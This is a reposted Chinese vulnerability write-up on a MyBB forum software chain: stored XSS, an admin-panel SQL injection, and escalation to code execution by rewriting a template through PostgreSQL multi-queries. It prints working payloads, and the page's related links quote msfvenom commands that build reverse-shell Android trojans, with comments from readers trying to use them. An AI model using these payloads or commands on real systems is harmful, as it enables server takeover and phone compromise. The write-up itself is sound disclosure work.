前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >MyBB <= 1.8.31:SQL注入漏洞利用

MyBB <= 1.8.31:SQL注入漏洞利用

作者头像
信安百科
发布于 2023-10-02 10:26:45
发布于 2023-10-02 10:26:45
61600
代码可运行
举报
文章被收录于专栏:信安百科信安百科
运行总次数:0
代码可运行

0x00前言

MyBB是一种非常流行的开源论坛软件。然而,即使是一个流行的工具也可能包含可能导致整个系统崩溃的错误或错误链。在本文中,我们将介绍远程代码执行漏洞利用链。

0x01可视化编辑器持久XSS

(cve-2022-43707)

不久前,同事发表了一篇文章"通过嵌套解析器对XSS进行模糊测试"。在这篇文章中,他给出了多个XSS攻击的例子,其中一个在MyBB中。MyBB团队在1.8.25版本中修正了Igor给出的有效载荷。但我并没有止步于此——我继续开始模糊测试!

首先,具有低权限的注册用户在设置中编辑他的签名。在“View Source”模式下将以下有效负载插入编辑器:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[email][email= onpointerover=alert()//]text[/email]

(将带有xss的有效载荷插入到用户签名中)

在更新签名之后,链接有一个新的onpointer事件处理程序,值为alert();//。当您将鼠标光标悬停在呈现的文本上时,将执行嵌入的JavaScript代码。

(当鼠标悬停在用户签名上时,执行用户签名中嵌入的javascript代码)

因此,如果属于“Moderator”或“Administrator”组的用户在签名部分输入实现上述有效负载的用户的配置文件,那么,当该用户将鼠标光标悬停在呈现的文本上时,嵌入的JavaScript代码也将被执行。

(当管理员将鼠标悬停在鼠标光标上时编辑用户签名时执行嵌入的javascript代码)

0x02ACP用户SQL注入

(CVE-2022-43709)

属于“Administrator”组的用户在通过Admin CP: /admin/index.php?module=user-users&action=search搜索用户时,可以执行SQL注入。

默认情况下,自定义字段容易受到SQL注入的攻击:Location, Bio, Gender

(搜索用户时自定义字段)

为了演示该漏洞,将对自定义Bio字段执行搜索。为此,用户需要向自定义Bio字段添加文本,以便搜索至少返回一条记录。

在这里,“My biography”值将添加到“Administrator”组中的用户的自定义Bio字段。

(填写自定义生物字段)

通过带有My biography的自定义字段Bio发出搜索用户的请求,该请求使用代理(例如BurpSuite)拦截。

(通过自定义生物字段搜索用户)

用户搜索查询由自定义Bio字段拦截。

(通过代理截获的用户搜索请求)

SQL注入的一个脆弱位置是profile_fields数组的键。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
profile_fields[fid2]=My biography

如果在fid2后添加单引号,服务器将返回错误“HTTP/1.1 503服务暂时不可用”。

(将单引号添加到通过代理截获的用户搜索请求中的自定义Bio字段的键中)

SQL注入的发生是由于从用户传输的数据没有完全控制/转义。问题的根源是admin/modules/user/users.php文件,即如何处理column变量的值。这个column变量的值应该用双引号框起来,或者检查是否为有效值。

(用户数据转义不足,导致SQL注入)

由于缺少检查column变量的哪些值是允许的,可以在不使用特殊字符的条件下实现SQL注入,这些特殊字符将由db->escape_string方法转义。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
' AND '.$db->escape_string($column)."

将查询执行延迟5秒的SQL注入的有效负载:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
profile_fields[(select pg_sleep(5))::text = $quote$$quote$ and fid2]=My biography

(SQL注入,这会导致执行SQL查询再休眠5秒)

通过SQL注入远程执行代码

在SQL注入发现的帮助下,可以升级这个问题。如果在安装MyBB时选择了支持多个查询的数据库引擎,就会发生这种情况。

安装时需要选择PostgreSQL

(安装论坛引擎时,数据库配置中选择PostgreSQL)

当使用PostgreSQL数据库引擎时,发现的SQL注入将通过inc/db_pgsql.php文件中的原生pg_send_query函数执行。

(在使用Postgresql时调用本机函数pg_send_query)

根据PHP官方文档,pg_send_query函数可以一次执行多个查询。

(本机pg_send_query函数的官方文档)

现在让我们谈谈如何在MyBB中创建和编辑模板。

(模板编辑功能)

上图显示了模板member_profile_signature的编辑形式。

在创建或编辑模板时,也可以插入变量值,例如,{lang→users_signature}, {memprofile['signature']}。

模板保存在数据库的mybb_templates表中。在本例中,编辑的模板member_profile_signature的tid = 240。

(用户签名模板存储在数据库中)

在文件member.php中,模板member_profile_signature从数据库的第2158行中获取,并传递给eval函数。

(使用用户签名模板在服务器上执行代码)

有人可能会认为,在创建/编辑模板时,";${system('id')}结构可能被注入到eval函数中(member.php的第2158行),并表示一个单独的指令,该指令也将被执行。

然而,这是不可能的。在将模板保存到数据库之前,将在admin/modules/style/templates.php的536行中调用check_template函数。

(保存模板时,调用check_template函数)

check_template函数的目的是通过eval函数检查用户传递的模板中是否存在允许在系统中执行任意代码的结构。

(check_template函数是一个沙盒,可以防止在模板中引入危险结构)

如果check_template函数在检查时发现危险结构,则返回true并发生保存错误。

(结果是 check_template函数是一个安全错误)

如果你设法以某种方式将结构";${system('id')}嵌入到模板中,绕过check_template函数,你将能够在服务器上执行任意代码。

现在我们回到MyBB中的SQL注入,它使用PostgreSQL进行多查询。在SQL注入期间使用单引号或双引号将导致它们的转义:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
' AND '.$db->escape_string($column)."

将需要的构造重写为member_profile_signature模板而不使用单引号的SQL查询:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
update mybb_templates set template = (select concat((select template from mybb_templates mt  where mt.tid = 240),(select CHR(34)||CHR(59)||CHR(36)||CHR(123)||CHR(115)||CHR(121)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(40)||CHR(39)||CHR(105)||CHR(100)||CHR(39)||CHR(41)||CHR(125)))) where tid = 240;

然后,最终的SQL注入将具有导致在系统中执行任意代码的表单。

(在多查询模式下执行SQL注入,第二次查询覆盖用户签名模板,注入恶意代码)

结果是执行system('id')命令。

(服务器上的RCE通过SQL注入绕过模板沙盒函数)

漏洞修复可以在MyBB官方网站上找到。

0x03参考链接

https://mybb.com/versions/1.8.32/

https://github.com/mybb/mybb/security/advisories/GHSA-ggp5-454p-867v

https://github.com/mybb/mybb/security/advisories/GHSA-6vpw-m83q-27px

推荐阅读:

Microsoft SharePoint身份验证后SSRF漏洞

Gmail XSS漏洞分析

CVE-2022-26113:FortiClient 任意文件写入

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023/03/11 18:41:53,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
5 条评论
热度
最新
手机安装了,监听没显示上线,什么鬼
手机安装了,监听没显示上线,什么鬼
回复回复1举报
博主你好,我想问一下植入病毒之后,为什么操作几次次之后,他会自动断开。还有明明已经给了摄像头的授权,但是在开启相机的时候,网页无法访问,拍照也不能成功,这个是因为安卓版本的问题,还是其他原因呢?还有设备号在这次入侵中起到了什么作业呢?
博主你好,我想问一下植入病毒之后,为什么操作几次次之后,他会自动断开。还有明明已经给了摄像头的授权,但是在开启相机的时候,网页无法访问,拍照也不能成功,这个是因为安卓版本的问题,还是其他原因呢?还有设备号在这次入侵中起到了什么作业呢?
111举报
我为啥都没显示上线啊,哥
我为啥都没显示上线啊,哥
回复回复点赞举报
apk版本过低,高安卓版本用不了
apk版本过低,高安卓版本用不了
回复回复点赞举报
小米13U 运行不了马的客户端,失败
小米13U 运行不了马的客户端,失败
回复回复点赞举报
推荐阅读
kali Linux外网渗透控制Android安卓手机系统。
就是我们穿透去公网并且公网穿透连接本地Ip---->监听本地IP ---->目标点击.exe--->
知识与交流
2024/03/11
1.6K0
kali Linux外网渗透控制Android安卓手机系统。
Kali之安卓木马
Kali linux的安卓木马一般只能在内网操作,要想在监控互联网的安卓手机,必须要使用内网穿透,工具有很多,我使用的是NATAPP。思路如下:
知识与交流
2021/04/02
2.8K0
Kali之安卓木马
美少妇与Android的故事
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.74.129 LPORT=4444 R > /root/桌面/shell.apk
菜菜有点菜
2022/03/17
7190
Kali利用Android木马渗透手机(高级篇)
选择网关 add to target 1 选择目标 add to target 2
院长技术
2021/02/19
18.4K0
Kali利用Android木马渗透手机(高级篇)
Metasploit渗透Android
进入https://natapp.cn/ 注册并创建tcp隧道 复制authtoken 下载客户端
tea9
2022/09/08
6560
msf之木马程序
这里使用的是Kali linux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134
宸寰客
2020/09/18
2K0
msf之木马程序
利用termux安装msf渗透手机
首先Termux,你可以把它当做是一个Android终端模拟器和Linux环境应用程序,安装可直接使用,无需root或设置。自动安装最小基本系统 – 使用APT包管理器可以使用其他软件包。
网e渗透安全部
2020/07/07
13.5K2
msfvenom生成后台木马监听目标(windows渗透测试)
操作过程概况:利用msf生成一个后台木马,使用exploit/multi/handler模块,通过对方打开的形式获取权限,可以进入后渗透对目标进行监听等操作。
用户9282069
2021/12/13
3K0
如何通过命令入侵安卓手机
首先,我用的靶机是魅蓝2,对其网络使用静态ip:xxx.xxx.xxx.aaa,“x”是需要对应入侵机的ip,“a”则是没用过的0-255随便输
知识与交流
2021/04/02
3.4K0
如何通过命令入侵安卓手机
从 “ 短信劫持马 ” 来谈APP安全
这种短信劫持木马的概念和新闻我想大家都应该接触过了,就不怎么说概念了,具体的可以搜一搜新闻,一抓一大把。
网e渗透安全部
2019/11/20
1.4K0
网络安全之KALI渗透手机、获取目标的精确位置
2:在终端输入msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk 来生成木马程序
全栈程序员站长
2021/06/09
3.1K0
网络安全之KALI渗透手机、获取目标的精确位置
如何攻击同一局域网的其他设备
2、在 Kali 终端输入以下命令在 Kali 虚拟机/root路径下生成远控文件520.apk:
知识与交流
2021/04/02
6.9K0
如何攻击同一局域网的其他设备
网络安全之KALI使用
2:在终端输入msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk 来生成程序
互联网-小阿宇
2022/11/21
1.3K0
网络安全之KALI使用
工具的使用 | Metasploit Framework(MSF)的使用
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
谢公子
2022/01/13
2.5K0
工具的使用 | Metasploit Framework(MSF)的使用
kali下androidshell那些事
在 kali中我们可以利用 msfvenom来生成一个Android木马。命令如下:
逍遥子大表哥
2021/12/17
5720
kali下androidshell那些事
MSF恶意程序利用【实战】
作为一名渗透测试者,我们可以击败安全防御机制,但这是仅仅是我们工作的一部分。当你进行渗透攻击时,请记住如下的忠告:
用户10781703
2024/08/19
1450
通过Metasploit生成各种后门
生成windows后门 1.首先生成后门 [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.1 lport=6666 -f exe > ./lyshark.exe 2.进入Metasploit,执行以下操作 3.将我们的(lyshark.exe)拷贝到目标主机并运行 4.攻陷后常用查询命令 ps         #查看进程 migrate  
王瑞MVP
2022/12/28
6500
如何使用Kali生成木马入侵安卓手机
版本阶段构建一个简单的工具来生成后门和简单的工具来张贴攻击攻击,如浏览器攻击,DLL。该工具使用流行的有效负载编译恶意软件,然后编译后的恶意软件可以在windows,android,mac上执行。使用此工具创建的恶意软件也有能力绕过大多数AV软件保护。TheFatRat安装好后如下图所示
知识与交流
2021/04/02
6.8K1
如何使用Kali生成木马入侵安卓手机
黑客玩具入门——4、漏洞扫描与Metasploit
Legion是Sparta的一个分支,它是一个开源的、易于使用的、超级可扩展的、半自动的网络渗透测试框架。它是一款Kali Linux系统默认集成的Python GUI应用程序工具。Legion是一个Nmap、Nikto、Hydra等工具的集合,利用各个工具的优秀功能,完成收集信息、扫描和爆破等任务。
zaking
2023/12/01
2.7K0
黑客玩具入门——4、漏洞扫描与Metasploit
1.1 Metasploit 工具简介
Metasploit 简称(MSF)是一款流行的开源渗透测试框架,由Rapid7公司开发,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。并且该框架还提供了一系列攻击模块和Payload工具,可用于漏洞利用、及漏洞攻击。同时软件自身支持多种操作系统平台,包括Windows、Linux、MacOS等。直到今天Metasploit已成为众多黑客手中渗透攻击的利器,并在安全领域大展身手。
王瑞MVP
2023/06/30
5460
1.1 Metasploit 工具简介
相关推荐
kali Linux外网渗透控制Android安卓手机系统。
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档